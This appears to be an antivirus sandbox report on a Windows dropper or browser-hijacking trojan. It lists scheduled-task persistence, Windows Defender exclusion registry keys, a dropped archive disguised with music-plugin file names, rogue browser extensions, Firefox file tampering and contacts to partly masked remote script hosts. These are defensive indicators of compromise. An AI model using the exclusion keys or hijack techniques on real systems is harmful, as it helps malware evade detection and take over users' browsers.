Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %WINDIR%\tasks\bcnwgmkmsnvzwakwxi.job
- <SYSTEM32>\tasks\bcnwgmkmsnvzwakwxi
- <SYSTEM32>\tasks\grkhyuplw
- %WINDIR%\tasks\bngudanugwyarmaez.job
- <SYSTEM32>\tasks\bngudanugwyarmaez
- %WINDIR%\tasks\uywwdqfoidasfvf.job
- <SYSTEM32>\tasks\uywwdqfoidasfvf
- <SYSTEM32>\tasks\uywwdqfoidasfvf2
- <SYSTEM32>\tasks\sqrvsphacmcyle
- <SYSTEM32>\tasks\djhvedxygymfg2
- <SYSTEM32>\tasks\afthhymrxhwnaiafn2
- <SYSTEM32>\tasks\vaybppleelkuxywazfk2
- %WINDIR%\tasks\nutyaznyrmcpbhudn.job
- <SYSTEM32>\tasks\nutyaznyrmcpbhudn
- <SYSTEM32>\tasks\ujndz1
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ImWhzpdUgwUoC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ImWhzpdUgwUoC' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\OyPtiFtyCDUn' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\OyPtiFtyCDUn' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\WhRJETfmsOvU2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\WhRJETfmsOvU2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\hgFWcOMjU' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\hgFWcOMjU' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\mtLrEFXjyOohseqfXjR' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\mtLrEFXjyOohseqfXjR' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\jHODoVTZjAMDqpVB' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\jHODoVTZjAMDqpVB' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\nbQbhakzjmkCEGblk' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\nbQbhakzjmkCEGblk' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\AfThHYmrxhwnAIAfN2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\AfThHYmrxhwnAIAfN2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\SqrVspHacMcYLE' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\SqrVspHacMcYLE' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\VaybPPLeElKuXYWAzfK2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\VaybPPLeElKuXYWAzfK2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\djhVedxyGyMFG2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\djhVedxyGyMFG2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\uywWDQfOIdASFVF' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\uywWDQfOIdASFVF' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\uywWDQfOIdASFVF2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\uywWDQfOIdASFVF2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\HWAfNOzZPuOEmcTC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\HWAfNOzZPuOEmcTC' = '00000000'
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
- <SYSTEM32>\rundll32.exe
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %TEMP%\7zs7c35.tmp\cofr.exe
- %TEMP%\7zs7c35.tmp\config.exe
- %TEMP%\7zs7c35.tmp\fruity x-y controller.png
- %TEMP%\7zs7c35.tmp\vrfauto.h
- %TEMP%\7zs7c35.tmp\qt5svg.dll
- %TEMP%\7zs7c35.tmp\fruity peak controller.fst
- %TEMP%\7zs7c35.tmp\smpte-c.icc
- %TEMP%\nbqbhakzjmkcegblk\giicebolsxkwlqd\qxapukc.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_8cf7b530-613e-439b-a8c5-ccfc0e745400
- %WINDIR%\temp\__psscriptpolicytest_cof3mi3g.oae.ps1
- %WINDIR%\temp\__psscriptpolicytest_jzm4pxih.bws.psm1
- %WINDIR%\syswow64\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_yowa00nk.1zc.ps1
- %WINDIR%\temp\__psscriptpolicytest_4wzu1np4.z2f.psm1
- <SYSTEM32>\grouppolicy\machine\registry.pol
- <SYSTEM32>\grouppolicy\gpt.ini
- %WINDIR%\temp\hwafnozzpuoemctc\rnbdefumwewkdky\iumbzko.exe
- %ProgramFiles(x86)%\hgfwcomju\rexxql.dll
- C:\$recycle.bin\s-1-5-18\desktop.ini
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempbcvzfw
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %ProgramFiles%\mozilla firefox\browser\features\{85fd6ace-3736-491b-8514-6c8c9556e131}.xpi
- %ProgramFiles%\mozilla firefox\browser\omni.ja.bak
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\103621de9cd5414cc2538780b4b75751
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\103621de9cd5414cc2538780b4b75751
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\778c915c74f1131f51c848003cf001e3
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\778c915c74f1131f51c848003cf001e3
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90c5ee6620004f1ae0eb0ea
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90c5ee6620004f1ae0eb0ea
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\05ddc6aa91765aacacdb0a5f96df8199
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\05ddc6aa91765aacacdb0a5f96df8199
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\dde8b1b7e253a9758ec380bd648952af_45b2f84d39a63221c206dc08b0c5896b
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\dde8b1b7e253a9758ec380bd648952af_45b2f84d39a63221c206dc08b0c5896b
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\4fa45ae1010e09657982d8d28b3bd38e_a43f02037d267baa15b4c07a4f8c3e7d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\4fa45ae1010e09657982d8d28b3bd38e_a43f02037d267baa15b4c07a4f8c3e7d
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\ficon128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\icon128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\icon16.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\icon48.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\main.js
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\manifest.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\am\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ar\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\be\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\bg\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\bn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ca\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\cs\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\da\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\de\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\el\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\en\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\en_gb\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\en_us\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\es\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\es_419\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\et\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fa\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fil\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\gu\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\he\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\hi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\hr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\hu\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\id\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\it\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ja\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\kn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ko\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\lt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\lv\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\mk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ml\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\mr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ms\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\nl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\no\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pt_br\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pt_pt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ro\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ru\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sq\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sv\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sw\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ta\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\te\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\th\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\tr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\uk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\vi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\zh_cn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\zh_tw\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json
- %ProgramFiles(x86)%\hgfwcomju\aapbeew.xml
- %ProgramFiles(x86)%\whrjetfmsovu2\crnesxkxtqnlm.dll
- %ProgramFiles(x86)%\whrjetfmsovu2\lbnoatk.xml
- %ALLUSERSPROFILE%\jhodovtzjamdqpvb\pvrztss.wsf
- %ALLUSERSPROFILE%\jhodovtzjamdqpvb\qcxinuu.xml
- %ProgramFiles(x86)%\mtlrefxjyoohseqfxjr\uimxmrb.dll
- %ProgramFiles(x86)%\mtlrefxjyoohseqfxjr\rbsxohj.xml
- %ProgramFiles(x86)%\imwhzpdugwuoc\kohrspq.dll
- %ProgramFiles(x86)%\imwhzpdugwuoc\vsibweq.xml
- %ProgramFiles(x86)%\oyptiftycdun\okpgogm.dll
- %WINDIR%\temp\hwafnozzpuoemctc\sclqfeui\cfjkcwf.dll
- %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\searchplugins\cdnsearch.xml
- %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\search-metadata.json
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\searchplugins\cdnsearch.xml
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\search-metadata.json
- %WINDIR%\temp\__psscriptpolicytest_2oqxlcaz.asb.ps1
- %WINDIR%\temp\__psscriptpolicytest_h10r2mst.1ms.psm1
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_cof3mi3g.oae.ps1
- %WINDIR%\temp\__psscriptpolicytest_jzm4pxih.bws.psm1
- %WINDIR%\temp\__psscriptpolicytest_yowa00nk.1zc.ps1
- %WINDIR%\temp\__psscriptpolicytest_4wzu1np4.z2f.psm1
- <SYSTEM32>\tasks\grkhyuplw
- %WINDIR%\tasks\bcnwgmkmsnvzwakwxi.job
- <SYSTEM32>\tasks\bcnwgmkmsnvzwakwxi
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempbcvzfw
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %ProgramFiles(x86)%\hgfwcomju\aapbeew.xml
- %WINDIR%\tasks\uywwdqfoidasfvf.job
- <SYSTEM32>\tasks\uywwdqfoidasfvf
- %ProgramFiles(x86)%\whrjetfmsovu2\lbnoatk.xml
- %ALLUSERSPROFILE%\jhodovtzjamdqpvb\qcxinuu.xml
- %ProgramFiles(x86)%\mtlrefxjyoohseqfxjr\rbsxohj.xml
- %ProgramFiles(x86)%\imwhzpdugwuoc\vsibweq.xml
- %WINDIR%\tasks\nutyaznyrmcpbhudn.job
- <SYSTEM32>\tasks\nutyaznyrmcpbhudn
- <SYSTEM32>\tasks\ujndz1
- %TEMP%\7zs7c35.tmp\cofr.exe
- %TEMP%\7zs7c35.tmp\config.exe
- %TEMP%\7zs7c35.tmp\fruity peak controller.fst
- %TEMP%\7zs7c35.tmp\fruity x-y controller.png
- %TEMP%\7zs7c35.tmp\qt5svg.dll
- %TEMP%\7zs7c35.tmp\smpte-c.icc
- %TEMP%\7zs7c35.tmp\vrfauto.h
- %WINDIR%\tasks\bngudanugwyarmaez.job
- <SYSTEM32>\tasks\bngudanugwyarmaez
- %WINDIR%\temp\__psscriptpolicytest_2oqxlcaz.asb.ps1
- %WINDIR%\temp\__psscriptpolicytest_h10r2mst.1ms.psm1
Modifies the following files
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\addonstartup.json.lz4
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite
- %ProgramFiles%\mozilla firefox\browser\omni.ja
- %LOCALAPPDATA%\microsoft\edge\user data\default\preferences
- %LOCALAPPDATA%\microsoft\edge\user data\default\secure preferences
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\search.json.mozlz4
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\favicons.sqlite-wal
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\favicons.sqlite
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\places.sqlite-wal
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\places.sqlite
- %LOCALAPPDATA%\google\chrome\user data\default\favicons-journal
- %LOCALAPPDATA%\google\chrome\user data\default\favicons
- %LOCALAPPDATA%\google\chrome\user data\default\history-journal
- %LOCALAPPDATA%\google\chrome\user data\default\history
- %LOCALAPPDATA%\microsoft\edge\user data\default\favicons-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\favicons
- %LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\history
Substitutes the following files
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %LOCALAPPDATA%\Google\Chrome\User Data\Default\Favicons-journal
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Favicons-journal
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History-journal
Network activity
Connects to
- 'se####e-domain.xyz':443
- 'x1.#.lencr.org':80
- 'r1#.#.lencr.org':80
- 'clients2.google.com':443
- 'cl######.googleusercontent.com':443
- 'localhost':49704
- 'ap#.###managehost.com':80
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
- 'cl##.##owmelinks.com':443
- 'ap#.###managehost.com':443
- 'en#####6544.jcloud.kz':80
- 'rf#####.tracemonitors.com':80
- 'rf#####.tracemonitors.com':443
- 'rf#####.testrequest.info':443
- 'ne###ab.club':443
- 're##ew4.in':443
- 'cse.google.com':443
- 'ep#.####afficquality.google':443
- 'sy#####tedsearch.goog':443
- 'pa#####.#ooglesyndication.com':443
TCP
HTTP GET requests
- http://r1#.#.lencr.org/106.crl
- http://www.ra#####lestorage.com/updates/yd/wrtzr_yt_a_1/win/upd2set.js?52#####
- http://rf#####.tracemonitors.com/updates/scripts/upd2bg.js?55#####
HTTP POST requests
- http://ap#.###managehost.com/api2/google_api_ifi
Other
- 'se####e-domain.xyz':443
- 'clients.l.google.com':443
- 'cl######.googleusercontent.com':443
- 'cl##.##owmelinks.com':443
- 'ap#.###managehost.com':443
- 'rf#####.testrequest.info':443
- 'ne###ab.club':443
- 're##ew4.in':443
- 'cse.google.com':443
- 'google.com':443
- 'ep#.####afficquality.google':443
- 'sy#####tedsearch.goog':443
UDP
- DNS ASK se####e-domain.xyz
- DNS ASK x1.#.lencr.org
- DNS ASK r1#.#.lencr.org
- DNS ASK clients2.google.com
- DNS ASK cl######.googleusercontent.com
- DNS ASK ap#.###managehost.com
- DNS ASK mo#####.map.fastly.net
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK cl##.##owmelinks.com
- DNS ASK ma############1821892.us-west-2.elb.amazonaws.com
- DNS ASK ra#####lestorage.com
- DNS ASK en#####6544.jcloud.kz
- DNS ASK rf#####.tracemonitors.com
- DNS ASK rf#####.testrequest.info
- DNS ASK ne###ab.club
- DNS ASK re##ew4.in
- DNS ASK cse.google.com
- DNS ASK google.com
- DNS ASK clients.l.google.com
- DNS ASK ep#.####afficquality.google
- DNS ASK sy#####tedsearch.goog
- DNS ASK pa#####.#ooglesyndication.com
